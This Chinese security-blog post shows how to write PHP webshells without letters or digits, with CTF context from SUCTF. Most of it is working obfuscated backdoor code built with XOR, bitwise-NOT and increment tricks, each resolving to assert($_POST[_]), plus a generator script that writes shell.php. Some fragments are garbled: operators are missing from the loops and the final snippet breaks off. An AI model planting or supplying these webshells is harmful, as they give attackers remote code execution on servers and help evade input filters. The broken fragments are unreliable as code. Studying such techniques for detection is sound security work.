DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

不包含数字字母的WebShell

09-17 WEB安全

一、使用异或 ^ 运算
'%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这个马是不能直接用的,因为代码中的url编码其实对应的是一个不可打印的特殊字符,这里只是为了显示程序方便,作者用url编码来取代,实际上木马应该是下面这个样子:

不包含数字字母的WebShell


或者你还可以按照如下两种形式修改木马,使得木马可以运行。
chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>
$_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`');
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>
二、使用取反 ~ 运算
$__=('>'>')+('>'>');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[_]);// assert($_POST[_]);
前两天的SUCTF就考察了这个,但是需要对代码稍作修改。原题目可以写入特殊字符只有: ~ $ _ ; = ( ) ,修改如下:(PS:代码由 Wfox 师傅fuzz出来,也是参考P牛的文章 )
$__=[];
$___=[];
$_=$__==$___;
$__=~(瞰);
$___=$__[$_];
$__=~(北);
$___.=$__[$_].$__[$_];
$__=~(的);
$___.=$__[$_];
$__=~(半);
$___.=$__[$_];
$__=~(拾);
$___.=$__[$_];
$____=~(~(_));
$__=~(说);
$____.=$__[$_];
$__=~(小);
$____.=$__[$_];
$__=~(次);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);// assert($_POST[_]);
fuzz脚本如下:
    $charset = '"';
    for ($i=0; $i 65536; $i++) {
        $charset .= sprintf("\u%04s",dechex($i).''); //生成 \u0000 - \uffff 字符集
    }
    $charset = json_decode($charset.'"');
    //json_decode解码格式:json_decode('"xxxxxxxx"')
    header('Content-Type: text/html; charset=utf-8');
    for ($i=0; $i 'utf-8'); $i++) {
        $st = mb_substr($charset, $i,1,'utf-8');
        $a = ~($st);
        $b = $a[1];
        echo $st.' '.$b.'
';
    }
?>

不包含数字字母的WebShell


赛后官方也提供了WP,PHP中使用按位取反(~)函数创建后门 。按照这篇文章,没有成功生成可用的shell,于是我又参考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成脚本如下:
# generate.php 运行该程序,生成木马shell.php, assert('eval($_POST[_])');
'yihuo.php', '.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>')
?>

不包含数字字母的WebShell


三、使用自增运算 ++
    @$_=[].'';
    @$___=$_[''];
    $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;
    $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
    $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/51.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 688087访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X